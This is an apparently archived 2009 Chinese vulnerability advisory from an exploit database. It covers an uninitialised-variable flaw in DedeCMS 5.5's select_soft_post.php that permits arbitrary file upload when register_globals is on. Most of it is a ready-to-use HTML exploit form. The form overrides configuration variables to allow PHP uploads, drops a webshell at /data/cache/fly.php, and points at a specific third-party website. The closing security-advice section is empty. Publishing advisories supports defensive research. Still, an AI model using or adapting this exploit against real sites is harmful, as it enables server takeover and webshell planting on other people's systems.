织梦(Dedecms)select_soft_post.php页面变量未初始漏洞

2009, October 26, 6:56 PM. 漏洞集研

Submitted by admin

发布时间:2009-10-20

影响版本:

Dedecms 5.5

漏洞描述:

漏洞产生文件位于include\dialog\select_soft_post.php，其变量$cfg_basedir没有正确初始化，导致可以饶过身份认证和系统变量初始化文件，导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。

<*参考

by：Flyh4t

测试方法:

[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

<html>
<head>
 <title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
 ---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
 <form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
  <input type='hidden' name='activepath' value='/data/cache/' />
  <input type='hidden' name='cfg_basedir' value='../../' />
  <input type='hidden' name='cfg_imgtype' value='php' />
  <input type='hidden' name='cfg_not_allowall' value='txt' />
  <input type='hidden' name='cfg_softtype' value='php' />
  <input type='hidden' name='cfg_mediatype' value='php' />
  <input type='hidden' name='f' value='form1.enclosure' />
  <input type='hidden' name='job' value='upload' />
  <input type='hidden' name='newname' value='fly.php' />
  Select U Shell <input type='file' name='uploadfile' size='25' />
  <input type='submit' name='sb1' value='确定' />
 </form>
 <br />It's just a exp for the bug of Dedecms V55...<br />
 Need register_globals = on...<br />
 Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>

SEBUG安全建议: